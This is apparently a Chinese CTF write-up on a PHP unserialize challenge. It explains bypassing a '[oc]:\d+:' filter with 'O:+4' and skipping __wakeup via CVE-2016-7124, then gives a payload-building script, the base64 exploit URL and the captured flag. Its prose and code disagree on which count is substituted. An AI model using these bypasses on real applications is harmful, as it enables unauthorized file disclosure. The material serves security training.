题目提示了是一道反序列化题目,打开后存在源码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
题目提醒秘密在fl4g.php中,那估计就是flag了。
第一,我们要通过$file
读取fl4g.php文件。
第二,我们要绕过preg_match('/[oc]:\d+:/i', $var)
这个正则的匹配。
'/[oc]:\d+:/i’含义是:匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写
[ ] 是定义匹配的字符范围
[oc]是匹配o或c任意一个
[xyz] 字符集合。匹配所包含的任意一个字符。例如, ‘[abc]’ 可以匹配 “plain” 中的 ‘a’。
第三,要跳过__wakeup()
函数
把2替换成1利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
第四,将所得的$a进行base64传参
于是构造脚本
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
class x{
private $file='fl4g.php';
}
$a = serialize(new Demo('fl4g.php'));
$a = str_replace('O:4', 'O:+4',$a);//绕过preg_match
$a = str_replace(':1:',':2:', $a);//绕过__wakeup()
echo base64_encode($a);
?>
我这里是用一个在线网站进行编译的在线执行php
得到
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
构造payload
/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到结果:
Flag
ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}